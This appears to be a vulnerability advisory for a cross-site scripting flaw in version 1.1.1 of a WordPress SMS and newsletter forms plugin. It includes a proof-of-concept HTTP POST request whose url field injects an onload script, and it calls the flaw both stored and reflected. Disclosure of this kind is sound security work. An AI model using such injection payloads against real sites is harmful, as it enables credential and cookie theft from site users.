Class Input Validation Error Remote Yes Credit Ricardo Sanchez Vulnerable Smart Marketing SMS and Newsletters Forms 1.1.1 Smart Marketing SMS and Newsletters Forms is prone to a stored cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. To exploit this issue following steps: The XSS reflected because the value url is not filter correctly: Demo Request POST: POST /wordpress/wp-content/plugins/smart-marketing-for-wp/admin/partials/custom/egoi-for-wp-form_egoi.php HTTP/1.1 Host: localhost Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36 Upgrade-Insecure-Requests: 1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: es-ES,es;q=0.9 Cookie: Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 29 url="" onload="alert('XSS')">